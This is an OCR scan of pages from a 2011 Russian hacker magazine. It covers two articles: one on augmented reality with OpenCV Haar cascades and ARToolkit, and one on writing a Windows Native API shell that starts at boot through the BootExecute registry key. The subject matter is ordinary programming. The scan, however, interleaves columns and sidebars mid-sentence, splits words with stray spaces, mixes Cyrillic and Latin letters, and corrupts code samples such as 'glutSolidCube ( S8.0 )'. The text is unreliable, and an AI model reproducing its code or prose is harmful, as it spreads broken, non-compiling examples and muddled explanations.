CvSeq *faces = cvHaa r DetectObjects(img_gray, cascade, storage); fo r ( size_t i= 0 ; i <faces ->total; ++i) { CvRect *r = (CvRect * )cvGetSeqElem(faces, i) ; cvRectangle(img, сvРоiпt(r- >х, r- >y), сvРоiпt(r->х + r- >width, r->y + r -> height»;

и р еко н ст руирова ли наш маркер с л ямбдоЙ.

Гюльчатай, открой личико Анализ найденного контура на предметтого, является ли о н выпуклым ч еты р ехугольником

-

дело немудреное. Но поиск лица или челове ­

ч еской фигуры такими а лго ри тмами сдел ать н ереально, тут н ужен с и стемный п одход и м а тематич еская теория. Тра ди цио нн о дл я поиска слож ны х объектов на изоб р ажении п ользуются так называемыми

П осле это го остается тол ько создать ок но и отобразить в нем исходную

каскадами Хаара. Они названы в честь венгерс кого математика Аль­

картинку, разрисованную прямоугольникам и. Как это сделать, я о пи­

фреда Хаара , придумавшего дискретные вейвлет-преоб разования ,

сал ранее. Помимо пользован ия уже готовыми , обученными каскад­

использующиеся в данном алгоритме.

ными класс ификаторами, можно обу ч ать и свои

Если вк ратце, то пр оизвод ится пои ск шаблонов, описан н ых с п ецифи­

ляет для этого необходимый набор сре д ств. К сожале нию, это весьма

ческими примитива м и. Сна ч ала ищется гр убый шаблон, состоя щий

объемная тема, выходящая за рамки данн ой стать и .

из небольшого количества элеме нтов, п осле чего каждый элемент сравнивается с необходимым н абором уже более мелких элемен-

- ОрепСV пр едо став­

ARТooI kit

тов, и такдо полного совпадения. Подобная рекурсия и называется

Библиотека ОрепСV , безусловно , предо ставляет достаточное количе­

« каскадами» .

ство низкоуровневых возможностей и очень хо роша для извлечения

ОрепСV предоставляет необходимые инструменты для р аботы с каска­

макс и мума и нф орма ц ии и з изображения . Н о иногда требуется быстро

дами Хаара и даже сод е ржит н есколько уже обучен н ых классификато­

и качественно найти в кадре ограниче нн ый набор зара н ее известных

ров

объектов. Именно этой задачей в

- в основном это части человеческого тела. Сейчас мы напишем

1999 году заинтересовался японец

небольш ую программу, которая , п ользуясь заданным классификато­

Хироказу Като, профессор научно-технического института Н ары.

ром , будет отмечать на изображении на йде нн ые объекты.

Совместно с лабораторией Н IT у н иверситета Вашингто н а о н выпустил

Я произвожу пр едвар итель н ую обработку исходного изображения,

библиотеку, на зва нн ую

чтобы обле гчит ь р аботу кла ссификато ру. Эта обработ ка заключа­

-

ARToo lkit. Основная зада ч а этой б и бли отек и

ется в обес цв ечива нии и эквалайзинге гистограммы . Процеду ра

и реконстр ук ция их ра с положения в простран стве относительно

аналогична о пи са нной ранее, поэтом у не будем заострять на ней

камеры . Эти данные позволяют рассчитывать трехме рн ые коорди­

отс л еж ив ан и е в кадре за ранее известны х квадратных маркеров

внимание. Если картинка слишком большая, то неплохо бы ее уме нь­

наты элементов, отрисовываемых повер х кадра с привязкой к эти м

шить, чтоб ы время поиска н е было слишком большим lя пренебр е г

самым маркерам. Таким образом создается инте р фейс дополненной

эти м моментом]. После чего н а м необходимо за гр узи ть од ин из уже

р еал ь н ости.

обуче нн ых каскад ны х кла ссиф и като р о в, по ставляемых вместе с

Библиотека заточе н а под коорди нат н ое простран ст во ОрепGL, что

библиотекой:

крайне удоб но. Также поддерживается раб ота с захватом видео, тонкой калибровкой камер, обучению работе со свои ми маркерами и

CvHaarClassifierCascade *cascade=(CvHaarClassifierCascade*) cvLoad( "/usr/share/opencv/haarcascades/haarcascade_ frontalface_default.xml" );

пр очие необ ход имые утили тарные механизмы.

Библи оте ка пр едоста вляет крайне гибкое

AP I, позволяющее вести

как высокоуров н евое крупноблочное м одел иро ван ие, буква л ь но в несколько строк , так и тонкую настройку каждо го алгоритма при

Теперь можно пере ходить непосредственно к поис ку. Обращаютвое

необходим ости реализации нестандартных решений . Проект очень

внимание, что результатом пои ска будет являться связный с пи сок

поп улярен, лежит в основе более чем де сяти библиотек, ра зв ив аю­

прямоу гольников, который хранится в п ул е памяти, так что этот п ул

щ их его идеоло ги ю, и портирован в том ИЛИ ином виде даже на такие

надо не забыть создат ь , а затем очистить. По окончании пои ска мы

н е ц елевые платформы, как

~108

Flash

и

Silve rLight . ХАКЕР

04/147/ 20 11


Первый каскад при поиске лица

Объекты, найденные раз­ ными классификаторами

URL сайта

журнала в виде

QR-коАа

После этого нужно за п устить основной цикл

ARToo lkit ' a, который

инициализируе т ся тр емя саllЬасk 'ами, п ервый

- для передачи

событий с мы ш ки, его мы реали зова ть н е будем и оставим пустым ,

второй - для соб ы т ий с клавиа ту ры [я р еа ли зовал там выход при нажатии ESCI, и третий - ос н о вная ф у нкция, в которой и буд ет пр оисхо дить об работка изображения:

Наша программа -

только ARТoolkit и никакого

a rgMa i nLoop(NULL , keyFunc , mainFunc ) ;

мошенничества

Используем

на праК'rИке

В функции

ARToolkit

нем маркеры и с лича ем дескрипторы найденных с теми, что мы

Думаю , настало время написать свое приложение, использую­ щ ее

mainFunc и происходит основное шаманство. Сначала

мы берем кадр с каме ры и выводим его на экран, Потом ищем на

загрузили в самом начале :

ARTool kit . В ком пле кт е с библиотекой идут шаблоны четырех

тестовых маркеров

- Hiro, Kanji, Sam ple l и Sam ple2; рdf'ки для

печ а ти можно найт и в каталоге

pattern s. Мар ке р Sam plel у на с

будет являться платформой для синего куба ,

Hiro - для кра с ного

ш ара, а оста льны е два не будут являть с я ничем, м ы не будем и х об р абатывать. В качестве фре ймворка для

ARU i nt 8 *frame = (ARUint8 *) arVideoGetlmage () ; argDi s plma ge(frame , О , О );

OpenG L используем

GLUT, с его иниц иали за ции и начн ем:

arD et e ctMarker(frame , 18О , &mr k_info , &mrk_count); for ( int i =0 ; i <mr k_count ; ++i) if ( mr k1_id==mrk_info[ i ] . id ) inde x= i ; Теперь самое интересное, По найденному маркеру мы можем ра с­

glutlnit(&argc , argv ) ;

считать мат рицу трансформации для Те п ерь можно за п уск а ть под системы

ARToolkit·a. Начн ем с видео:

OpenGL,

После применения этой матрицы н уж ны е пар а метры с м е щ е н ий,

откроем вид еокаме р у, загрузим станд а ртн ые на стройки для н ее ,

поворотов и масштаби р ова ни я н астр оятся так и м об ра зом , что начало

узнае м ра з ре ш е ние, инициали зи р уем его ра з м е рами подсист е мы

коо рдинат окажется прямо в ц е нтре на ш его маркера, Все нарисо ­

камеры и

GUI, за п ус т им зах ват кадров:

ванное буде т вполне нату р а л ьно с про е цировано пове р х кад р а и окажется на своем месте:

a rVideoOpen( "" ); arVideolnqSize (&frame_width , &frame_height ) ; arParamLoad( "Data/camera_para.dat" , 1 , &pa r am1 ); arPa r amChangeSize (&param1 , frame_width, frame_ height , &param2) ; a rlnitCparam ( &pa ram2) ; // Webca m arglnit ( &para m2, 1.О , О , О , о , О ) ; // GUI В каталоге bin/Data лежат файлы сданными тестовых маркеров, и х нужно за груз ить и пол у чи т ьдескри п торы для дальней ш ей работы. Н а

arG etTra nsMat ( &mrk_info[index ] , mr k1_ ce nter , r k1_w idth , mr k1_tran s); argConvGlpa r a ( mrk1_trans, gl_para ); glMatri xMode ( GL_MODELVIEW ); glLoadMatri xd(gl_para) ; glutSolidCube ( S8.0 ) ;

Заключение

са мом д еле м ож но пользовать ся не только т ес товыми маркерами, на

Надею сь, мне уда л ось наглядно по казать , что для то го, чтобы на ­

шабл о н е

чать разрабатывать системы

е го с

н о твоего старенького ноутб ука со встроенной веб-камерой, Би­

bla nkPatt.g if легко нари сова тьлю бой маркер и оцифровать помощью утили ты mk_patt, идущей в комплекте с б и б лиотекой.

блиотеки

mr k1_id = a rLoadPatt( "Data/patt.sample1" ); mr k2_id = arLoadPatt ( "Data/patt.hiro" ); ХАКЕР

04 / 147/ 2011

Ope nCV и ARToolkit ктвоим услугам , тебе осталось только

самое про стое и приятн ое

будущего

Augmented Rea l ity, вполне д остаточ­

- напи сать мегасофтину с интерфейсом

:I. ::x: ~109


• •

Михаил «амдф» Стеnченко

I hex . pp .ual

ШЕЛЛ я СИНЕГО ЭКРАНА Из~аем программирование на

Native API

на пример~ шелла

с) Если про грамме пр~верки диска требуется исправить ошибки системного раздела, который не может быть отключен во время работы Windows, после перезагрузки программа запускается до открытия окна логина, отображая белые буквы на синем экране. Это - особый режим работы Windows, в котором еще не работает подсистема WiпЗ2, зато есть полный доступ к файлам и реестру. Загрузочный экран

написана с использованием библиотеки

в

исходный код шелла

Windows ХРтакой режим ра боты выглядит как с ини й экран с логоти­

пом в верхнем пр авом у гл у, в в

Vista

и

Windows 7 -

Wind ows 2003 цв ет этого эк рана се рый,

черный. Самое частое приложение, которое

NCLI и з

пр оекта

ZenWinX,

TinyKRNL и

позже я изучил

р е шил стр оить

свой собстве нный шелл н а е го ос нове . От использования

Ze nWinX я

от казался , но часть исходного кода оттуда, связа нн ая с обработкой

ты можешь наблюдать работающим в этом режиме, это программа

клавиатурных комбинаций, перекочевала в новую версию, чтобы

проверки диска. Обычно диск проверяется консольной программой

правильнее, чем в

chkdsk.exe.

Н о в загрузочном экране стартует вовсе не оно , как можно

было бы п одума т ь , а

чистом

autochk .exe -

пр и л ожен ие, н ап и сан н ое н а

Native AP I. Тол ько такие программы с по собны за п уститься д о

загрузки подсистемы Win32. Неплохо было бы написать шелл, командную стр оку для экспери­

ности,

NC LI д аже

по клави ш е

NCLI, реализовать работу с кла виатурой . В част­

н е поддерживал п ереключе н ие регистра символов

Shift. К наб ору кома нд, до сту пн ых в NCLI, добавили сь

коман ды, н а пи са нны е мн ой. Так получилась прогр амма , кото рую я назвал

Native Shell.

ментов, чтобы побродить по системе еще до ее полной загрузки , с

Программирование

возмож н остью редактировать файлы и р еест р . Я за горелся этой идеей

Пр ограммы, которые могут за п ускаться и з «си н его экр ана » ,

и заня л ся р азработкой такого ше лл а. П ервая ве р сия прогр а ммы была

паt i vе- прил оже ния, то есть так ие п риложения , которым доступны

~

110

ХАКЕР

-

это

04 11471 2011


~

dvd

На диске тебя ждет

Native Shell О 12

Сборка приложения в

WDK

• Сайт Тома ша Новака. Удобный справочник, содержащий описания функций и типов данных, разбитый на категории:

Автозапуск паtivе-приложений задается в ветке реестра

HKEY_LO-

undocumented .

ntinternals.net.

CAL_MACH IN E\Cu rrentControlSet\Control\Session Manager. Здесь

• MSDN. Неполная документация по функциям ntdll.dll доступна в

есть два ключа, позволяющих запустить приложение на этапе

Microsoft Developers Network в разделе о Windows Driver Kit: msdn.

загрузки системы. Обычно присутствует только один из них,

microsoft. com.

BootExecute. Это мультистроковый пара метр, содержащий строку

• Native Shell. Командная строка для паtivе-режима от автора статьи:

«autocheck autochk *». После нее можно добавить свою команду

hex.pp.ua/ nt -native-applications-shell.php.

запуска. Н апример, можно поместить

• Исходные коды ReactOS - свободной альтернативы Windows.

native.exe в папку %sys-

temroot%\system32, а в BootExecute прописать строку «native». В

Редкая возможность не только увидеть множество примеров

результате

использования

native.exe запустится сразу после autochk.exe при запуске

например

Native API функций, но и заглянуть немного дальше -

в их внутреннее устройство: svn.reactos .org/svn/reactos.

системы. Здесь же можно указать командную строку процесса,

• Библиотека ZenWinX, упрощающая программирование в native-

«native some-command».

Чтобы запустить программу из любого каталога системы, нужно

режиме:

указать полный путь к исполняемому файлу без

• Native Development Kit (NDK) от Алекса Ионеску. Набор

NT -префикса, то

zenwinx.sourceforge.net.

есть в обычном формате (например, C:\tmp\native.exe). При указании

заголовочных файлов, содержащих все типы и функции

имени паtivе-приложения кроме идентификатора

сОdе . gооglе . соm/р/паtivе-пt-tооlkit .

autocheck

Native API:

(используется при указании autochk в этом списке) возможны идентификаторы установке

async

async и debug. Идентификатор debug при водит к

ProcessParameters

->

DebugFlags; TRUE. Идентификатор

приводит к тому, что система не ожидает завершения

виатуры или установка текущего рабочего каталога, не говоря уж об остальном, реализуется непосредственно самой программой.

запускаемого процесса, и оно продолжает работать, а система в это

Native API непривычен и не слишком удобен для использования, но

время продолжает загрузку. В резУльтате получае.,тся приложение ,

другие АРI недоступны. Если в программировании с использовани­

работающее в живой системе, отображающееся в диспетчере задач

ем

как запущенное от имени пользователя

Native AP I, возможно , потребуется пять-шесть. Это и не удивительно,

SYSTEM.

WinAPI для какого-то действия требуется одна-две функции, то в

Второй ключ реестра, через который возможен запуск, носит

ведь каждый вызов

название

скольких функций из

SetupExecute и полностью аналогичен BootExecute.

Разница между ними в том, что запуск из этих ключей происходит

WinAPI внутри реализуется как раз вызовом не­ ntdll.dll.

на разных этапах инициализации системы. На этапе запуска

Настройка проекта

из SetupExecute в системе уже создан файл подкачки и

Для написания собственного паtivе-приложения понадобится до­

инициализированы переменные среды, а на этапе

BootExecute еще

кументация, среда разработки и заголовочные файлы

Native API.

Функции NT Native АР I частично документированы в MSDN. Однако

нет.

там описано далеко не все, что имеется в

ntdll, так что информацию

следует по возможности искать в других источниках.

только фун кции NT Native API, экспортируемые библиотекой ntdll .dl l.

В качестве среды разработки может выступить любой редактор кода,

Это набор функций, выполняющихся в режиме ядра, которые можно

а компиляция паtivе-приложения будет производиться утилитой bu ild

вызывать из пользовательского режима. Библиотека экспортирует

из Windows Driver Kit, так что его придется установить себе на машину.

два набора функций -

WDK используется для разработки драйверов, но способен также ком­

фиксами:

с одинаковыми названиями, но разными пре­

«Zw» И «Nt». Функции с префиксом «Zw» предназначены

пилировать паtivе-приложения.

для прямого вызова из режима ядра (например, из драйверов), а '

Проект приложения в WDK выглядит как каталог, где лежат файлы

функции с префиксом Nt - из пользовательского режима (из прило­

исходного кода, рядом с которыми расположен файл конфигурации

жений). При вызове функции с префиксом «Nt» в итоге выполняется

проекта под именем

тот же код, что и при использовании префикса Zw, но при этом перед

проект:

SOURCES. Так может выглядеть простой native-

исполнением кода параметры функции проходят дополнительную проверку, так как с точки зрения системы пользовательский режим­

TARGETNAМE;native

это ненадежный источник входныхданных.

TARGETTYPE;PROGRAМ

Вообще, при программировании Nаtivе-приложений следует иметь в

UMTYPE;nt

виду, что почти никаких готовых или заданных по умолчанию возмож­

INCLUDES=$(DDK_INC_PATH)

ностей в этом режиме нет, разве что вывод букв на экран реализуется

SOURCES;native,c

сравнительно просто. Все остальные операции, будь то ввод с кла-

PRECOMPILED_INCLUDE=precomp .h

ХАКЕР

04 /147/ 2011

~

111


ПРИЛОЖЕНИR ПОЛЬ30ВАТЕПЬСКОГО РЕЖИМА

Так выглядел загрузочный режиМ до

Подсистемы

Windows ХР

Windows

Он отредактирован так, чтобы в результате компиляции собирался

OBJECT_ ATTRIBUTES Obje c tAttributes ;

не драйвер, а паtivе- п риложение . Для этого параметруТАRGЕТТУРЕ

IO_STATUS_BLOCK Iosb;

за д ано значе н ие метру был

«PROGRAM», чтобы собиралась программа, а пара­

UMTYPE зада н о значение «nt» , для того, чтобы тип приложения

native.

OBJ_CASE_ INSENSITIVE , NULL , NULL );

Сборка программы осуществляется командой build, набранноЙ в командной строке

RtllnitUnicodeString ( &D river , L" \ \Device \\ KeyboardClass0" ); InitializeOb j ectAtt ri butes( &Obj e ctAttri but es , &Dri v e r ,

Build

Епviгопmепt

WDK.

NtCreate Fil e( &hDrive r , SYNCHRONIZE

Перед сборкой следует

I GENERIC_READ I

FILE_ READ_ATTRIBUTES,

скачать заголово ч ные фай л ы NDK [Nat ive NTToolkit], так как стан­

&Obj e ctAttributes, &Ios b, NULL ,

дартных хидеров из WDK недостаточно, чтобы использовать все

0 , FILE_OPEN, FILE_DIRECTORY_FILE , NULL , 0 ) ;

существующие функции

Native API.

Каталог

папку, содержащую заголовочные файлы

FI L E_ATTRIBUTE_NORМAL ,

ndk следует распаковать в

WDK,

и прописать к ней путь

в файле bin/setenv.ba t [в строке «include=»].

Параллельно нужно создать событие [объект ядра типа Eve nt], которое будет использоваться для ожи дания ввода с имволов.

Резул ьтатом сборки п р оекта будет .exe-фаЙл приложения. Но это не обы чн ый экзе ш ник, так п росто за п уст ить его не получится. В

Initiali zeObjectAtt r ibute s(&ObjectAttributes,

РЕ-заголовке ехе-файла есть специальное поле, означающее под­

NULL , 0 , NULL, NULL );

систему, в которой выполняется приложение . У паtivе-приложений

NtC r e a teEvent(&hEve nt , EVENT_ALL_ACCESS,

в это поле установлено значение ОхОl, означающее, что .ехе не

&Object Att r ibutes, 1 , 0 );

требует подсистемы. У обычных приложений там содержится

значе н ие, соответствующее п одсистемам «Windows GUI» [ОхО2] или

Ч тение с клавиатуры осуществляется функцией

«Windows console» [ОхО3]. И з-з а отличаЮll\егося значения этого

пара метрах переданы хэндл клавиатуры и хэндл события.

NtReadFile, которой в

пол я Nаtivе-приложения не запускаются в обычном режиме работы

Windows . При попытке запустить программуWiпdоws выдает со ­ об щ ение «Приложение нельзя запустить в режиме Win32». Запуск

IO_STATUS_BLOC K I os b;

скомпилированного при л ожения в системе следует производить

NTSTATUS Status ;

ч е р ез п ро п исыва н ие его в клю ч реестра

BootExecute.

Отлаживать

ByteOffset

=0;

RtlZe roMemory(&Iosb , sizeof (Iosb));

приложение лучше на виртуальной машине, во-первых, из сооб­

Status = NtReadFile(hDr ive r , hEvent, NULL , NULL, &Iosb,

ражений удобства, а во-вторых , из соображений безопасности. По­ скольку прописанное в

LARGE_INТEGER

Buffer, *BufferSi ze , &Byt eOffs et , NULL );

BootExecute приложение запускается даже

в «безопасном режиме» работы системы, ошибка в приложении может привест и к невозможности нормальной загрузки

Windows.

Следует проанализировать возвращаемое значение функции и В

«безопасном режиме» буд ет показываться черный экран, но при ­

п ри н еобходимости подождать наступления события с помощью NtWаitFогSiпg lеОЬjесt.

ложение будет работать, не имея при этом возможности вывести текст на дисплей.

Обработка команд Шел л за г рузочного экра н а д олжен вести себя точно так же, как и шел л

if ( Status == STATUS_ PENDI NG) { Status = NtWaitForSingl eObject(hEvent , TRUE, NULL ); }

для любой другой среды, то есть воспринимать команды, набранные с клавиатуры, и выводить на экран результаты исполнения команд

NtReadFile вернет данные в виде структуры KEYBOA RDJNPUT_DАТА.

в текстовом виде . Чтобы шелл мог воспринимать ввод, он должен

Эта структура имеет следующий формат :

самостоятельно получить скан-коды с клавиатуры и преобразовать их в ко д ы символов.

Для ч тения с клавиатуры необходимо с помощью функции

typedef struct JEYBOARD_INPUT_DATA { USHORT Unitld ;

NtСгеаtеFilе открыть устройство клавиатуры какфайл. Имя файла при

USHORT MakeCode ;

этом будет выглядеть как «\ Dеviсе\Кеу ЬоагdСlаssО ».

USHORT Flags ; USHORT Reserved;

HANDLE hDri ver ; UNICODE_STRING Driver;

~

112

ULONG Extralnformatio n; } KEYBOARD_INPUT_DATA, *PKEYBOARD_ INPUT_ DATA; Х АКЕР

04/147/2011


Tm REG5Z RЕG3"Ц П_SZ

~ochedt&Jt:oc:hk· с:\tmp\мt:ive,ехе

REG_DWOR.D

REG.,..PWORD

OXOO278dX1 (2592000) 0x0000XXJ1 (I)

REGJ)WОЮ

ОХОООООООО (О)

RЕG_f\U. П .-5Z

REG_~O

()x((IIX)()(XЮ(о)

RЕG_DWOЮ

OX(J)QO()((I() (О)

REG_DWORD

ОХОО()()()(ХЮ (о)

REG_DWORO REG_DWORD R.EG_DWORD

OXOOOOIXOO (О)

REG...f'U,.ТI5Z

\Windows \RPC Control

R.EGJ)WORO

Ox0CDXm2 (2)

REG_DWORD REG_DWORD REG_DWORO

OxOOXlQOO t (1)

Qx(XXЮ(XDJ (о)

OxOOOO'XIOZ (2)

0xCXIC00XI2 (2)

Е Дlo1спетчер задач WIndows Файл

параметры

Вид

' f J"'~

Завершение работы

Справка

ПриложеНI1Я Процессы ') Быстродействие Сеть 1ПоЛЬ30ватеЛI1

ОХQOOge:ИО (618!ХХ1)

Имя пользоеателя LOCдL

SERVlCE

SYSTEМ

П ~метр:

IBooIExecute

""""""

out.ocheck autochk·

C:\ImpWtive.exe

n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Память

3 412 КБ 3 040 КБ 2776 КБ 2788 КБ 5 БЗ2 КБ 3 16КБ

2 6з2 КБ ЗВ8 КБ

5 504 КБ 4 6Зб КБ 3 9в8 КБ 14 5БО КБ 2712 КБ 4 1 БО КБ 2ЗБ КБ

5У5ТЕМ Ключ реестра ВootExecute

VМware

v.inlogon wmiprvs Бе,дейс

Поле MakeCode содерж и т сканкод нажатой клавиши , а п оле Flags

- необхо д имую до п олнительную инфо р мацию о том, были ли н ажаты одновреме н но

5У5ТЕМ

services ,ехе smss,exe

5У5ТЕМ

Г ОТобрв~":,.~ть::п:р:оц:ес:с·ы~.с~е~хп~о~ль~""",~т:е~ле:":-""!~'!!!!~~===;з;а~.е~ршr:";т;ь;npoц !;.rcc·'1

Shift , Ctrl или ч т о-то еще. Шелл должен со­

держать таблицу, из которой п о ска н коду и фла гам можно выбрать конкре т ный символ , соответствующий определенному соче та н ию

Приложение выполняется от имени пользователя SYSТEМ

клавиш. Полученный символ можно возвратить из собственного аналога станда р тной функции вать строки , а строки

getc h . Из си м волов мож н о склады­

- обрабатывать как команды. Сред и ко м анд ,

IN PUNICODE_STRING

пате

);

к слову, с л едует обязате л ьно пр едусмот р е т ь команду завершения

рабо т ы шелла, чтобы Windows могла загружаться в свое обычное

Для досту п а к файлам и каталогам используется

сос т ояние. Работа Nаtivе-п р иложения завершается вызовом

полный путькфайлусбуквойдиска и преф и ксом\??\. Н а п ример , п уть

фун кци И Nt Termi паtеРгосеss[ N tСu r re n tP r ocess[], О];

до файла С :\boot.ini будет выглядеть как \ ??\С :\boot.i ni . П ривычный

Вывод текста на экран ч резвычайно прост, он зак л ючается в по­

формат п ути без префикса называется в терминолог и и Native API

мещени и в строку типа

«DOS-путь». Для конвертации пути из формата DOS в NT существует

UNICODE_ST RING какого-л и бо текста и

последующем вызове фу н кции NtDisplayString'

функция:

NTSYSAPI BOOLEAN NTAPI RtlDosPathNameToNtPathName_U(

UNICOOE_STRING un i c ; RtlInitUnicodeString(&unic, L"Hello, world!

NT -фо р мат пути. Э то

\ п" ) ;

IN PCWSTR DosPathName, OUT PUNICODE_STRING NtPathName ,

NtDisplayString(&unic);

OUT PCWSTR *NtFileNamePart, Функ ци я п одде рживает два управляющих символа -

возврат каре т ки

«\г» И п еревод стр оки «\п».

OUT CURDIR *DirectoryInfo

);

Операции с файлами

Целесообраз н о сохра н я т ь путь в DОS-формате. Его м ожно показывать

Самые элементарные о п ера ц ии для командной строки - это ото­

п ользовате л ю без изменений, если он хочет увидеть текущий ка талог.

бражение текуще го каталога, перемещение между ними и о п е р а ц ии

При каждой файловой операции придется формировать полный NT-

над файлами. В п аtivе- р ежиме п р и всех операциях с файлами система

путь к файлу вызово м соот ветствую щ е й фу н к ци и или прямой склей к ой

ничего не знает о ко н це п ции «текуще го каталога». Во всех файловых

пути с префиксом.

функциях требуется передавать полный путь , формат которого, ктому

Од н а из н еобход и мых возможностей ш елла - это вывод листи н га

же , отличается от привычно го. Существует функция , п о м огающая хра­

каталога . Чтобы е го вывести , п р ограмма долж н а пол уч и ть сп и сок

н ит ь з н ачение текущего каталога, но с ц е п ля т ь это значе н ие с и м е н ем

файлов и каталогов текущей д и ректории. Прежде всего , надо открыть

файла нужно самостоятельно.

ка тало г фу н кцие й NtC reateFile с оп ц ией FILE_LIST_D IRECTORY и

Функ ци и для установки и получения текущего каталога о п ределены

указанием флага FILE_ DIRECTORYJILE. Получе нн ый хэ ндл скармли­ вается функции

так:

NtQ ueryDirectoryFile , которо й пе р едается константа

FileBothDi rectoryl nfo r mation и указате л ь н а буфер данных т и п а FI LE_ NTSYSAPI ULONG NTAPI RtlGetC urrentDirectory_U(

BOTH_DIRJNFORMAТl ON. Структура этого т и па позволяетуз н атьо

ULONG MaximumLength,

файлах и катало гах все их важные п а р аметры: имя , атр и буты , размер

PWSTR Buffer

и время создания.

); typedef struct NTSYSAPi NTSTATUS NTAPI RtlSetCurrentDirectory_U( ХАКЕР

0 4 / 14 7/ 201 1

_FILE_BOTH_DIR_INFORМATION

{

~

113


ния. В сочетании с этой константой функция получает в параметре

Fi lеlпfогmаtiоп указатель на структуру FILE_RENAM EJNFORMATION.

typedef struct JILE_RENAМE_INFORМAТION

{ BOOLEAN

Replac:eeY lmm"'-. . .- .....,.--::::

HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[l]; }

FILE_RENAМE_INFORМATION, * PFILE_RENAМE_INFORМATION;

Структура

FILE_RENAMEJNFORMATION имеет переменнуюдли-

ну, зависящую от длины нового имени файла. Нужно выделитьдля структуры достаточное количество памя т и. Предположим, утебя есть буфер

Nativе-режим есть не только в

Windows,

но и в

ReactOS

NewFileName с новым именем файла и его р азмер в перемен­

ной Fi leNameSize. PFILE_RENAМE_INFORМATION

ULONG NextEntryOffset;

FileRenamelnfo;

ULONG Filelndex ; FileRenamelnfo = RtlAllocateHeap(RtlGetProcessHeap() ,

LARGE_INTEGER CreationTime ; LARGE_INTEGER LastAccessTime ;

HEAP_ ZERO_MEMORY,

LARGE_INTEGER LastWriteTime;

sizeof (FILE_RENAМE_INFORМATION)

+ FileNameSize);

LARGE_INTEGER ChangeTime ; LARGE_INТEGER

}

После выделения памяти следует скопировать буфер NewFileName

EndOfFile;

LARGE_ INTEGER AllocationSize;

в поле структуры

ULONG FileAttributes;

П оле

FileName и проинициализироватьдругие ее п оля.

ULONG FileNameLength ;

если е го имя сов п адает с н овым име н ем файла п ри п е р еиме н ова­

ReplacelfExists о п ределяет, заменять ли су щ ест вую щ ий файл,

ULONG EaSize;

нии. В параметре RootDirectoгy может содержаться хэ н дл дру г ой

CCHAR ShortNameLength;

директории, в которой должен оказаться файл после перемещения.

WCHAR ShortName [12] ;

Проще оставить это поле равным

WCHAR FileName[l];

в другой каталог достаточно указать в поле

NULL, ведьдля перемещения файла FileName полный путь к

новому расположению файла в NТ-формате. Если осуществляется

FILE_BOTH_DIR_INFORМATION,

переименование файла, а не перемещение, в

* PFILE_BOTH_DIR_INFORМATION;

FileName должно быть

только имя файла. После инициализации структуры остается только

При вызове функции NtOueгyDirectoгyFile можно использовать

вызвать функцию для осуществления операции:

пара метр ReturnS i ngleEntгy = TRUE, то гда за один вызов функции в буфер будет помещена только одна ст руктура

FILE_BOTH_DIR_

Status = NtSetlnformationFile(

INFORMATIO N, а вызват ь функцию в ци кле придется столько раз,

FileHandle ,

ско л ько файлов в каталоге. П ри уста н овке того же п араметра в FALSE

&IoStatusBlock,

функция будет вызвана все го один раз, а в буфере окажется массив

FileRenamelnfo,

структур. Перемещаться по нему можно, сдвигая указатель на струк­

sizeof (FILE_RENAМE_INFORМATION ) +

туру по смещению , указанному в поле NextEntгyOffset. У последнего

FileRenamelnformation

элемента массива значение этого поля будет

NULL.

FileNameSize,

);

Функции для стандартных файловых операций, таких как чтение из файла, запись в файл и удаление файла, документированы в Их названия

MSDN.

NtReadFile, NtWriteFile, NtDeleteFile соответственно,

использование мало чем отличается от привычных функций

а

WinAPI.

Размер буфера FileRename lnfo нельзя считать равным sizeoflFILE_ RENAMEJNFORMAТlON), ведь в определении структуры не учтена изменчивая длина поля

FileName.

Поэтому в четвертом пара метре

Чтобы скопировать файл, нужно просто прочитать его из одного места

Length следует п ереда т ь длину структуры, к которой прибавл ен раз­

и записать ко п ию в другом. А вот переименование фай л а

мер строки

- бол ее

комплексная опера ц ия , п оэтому стоит рассмотреть ее под роб н ее.

FileName.

Реестр

Переименование файла

Для операций с реестром используются документированные в

Существует функция

функции, названия которых оканчиваются на «-Кеу», например, для

NtSet lnformationFile, которая может произво­

дить множество различных операций над файлом. Нас интересует

чтения из реестра используется NtOueгyValueKey.

операция переименования. Прототип функции выглядиттак:

На уровне

MSDN

Native API реестр выглядит немного нетак, как в Wiп32.

Вместо нескольких корневых псевдоключей Н К ЕУ_ХХХ используется

NTSYSCALLAPI NTSTATUS NTAPI NtSetlnformationFile(

единственный ключ «\REG ISTRY» сдвумя подключами «\USER» и «\

IN HANDLE FileHandle,

MACHINE». Эти два ключа соответствуют «HKEY_USERS» и «НКЕУ_

IN PIO_STATUS_BLOCK IoStatusBlock,

LOCAL_MACHINE». Эквивалента ключу «HKEY_CURREN T_USER» нет, ветки разных пользова телей следует искать в «\USE R». Ключу «НКЕУ_

IN PVOID Filelnformation,

CLASSES_ROOT» соответствуют раз н ые

IN ULONG Length, IN

FILE_INFORМATION_CLASS

FilelnformationClass

WinAPI

);

ветви реест ра , р ас п ола гаю­

щиеся как в ветке «\USER», так и в «\MACH INE». Еще од н о отли ч ие от в том, что работая с реестром, мы оперируем обычным типом

HANDLE, а не специальным типом НКЕУ. В пара метре

FilelnformationClass передается

FileRenamelnformation,

~

114

константа

означающая операцию переименова-

Дэниэл Мэдден еще в

2006 году написал программу с открытым

исходным кодом под названием

NtRegEdit -

аналог стандартного

ХАКЕР 04/ 1 47/2 01 1


KeyVa lu eBasiclnformation , а результат оказывается в структуре К ЕУ_ VALUE_BA5ICJN FORMATION.

while (STATUS_SUCCESS

==

NtEnumerateValueKey(hKey, i++,

KeyValueBasiclnformation, pbi, BUFFER_SIZE, &ResultLength))

{

Имя находится в строке pbi->Name , а тип значения IREG_5Z, REG_

OWORO и л и другойl определяется в рЫ-> Туре.

Запуск процессов Неплохо иметь в шел ле возможность запускать другие п р оцессы. Это сразу расширяе т применяемость п рограммы, ведь если программа

Шелл ТinyKRNL Алекса Ионеску

может запускать процессы, ее функциональность уже не огра н и ч ена операциями, зашитыми в ее код. Дальнейшее расширение доступных

редактора реестра Ireged it.exel. NtRegEdit использует для доступа к

действий в паtivе-режиме можно осуществлять разработкой новых

реестр у только функции

программ. Да и запускать паtivе-приложения, поставляемые с опера­

Native API,

поэтому код из программы можно

перенести в свое собственное паt ivе- п риложе н ие.

ционной системой, тоже можно. В загрузочном режиме невозможен

В библиотеке

запуск Wiп32-приложений, так как пр оцессы подсистемы

ZenW inX также

присутствует код, использующий функ­

ции реестра. Н апример, функция

winx_register_boot_exec_command

Win32 при

создании требуютуведомления C5R55 о новом процессе ' а он еще

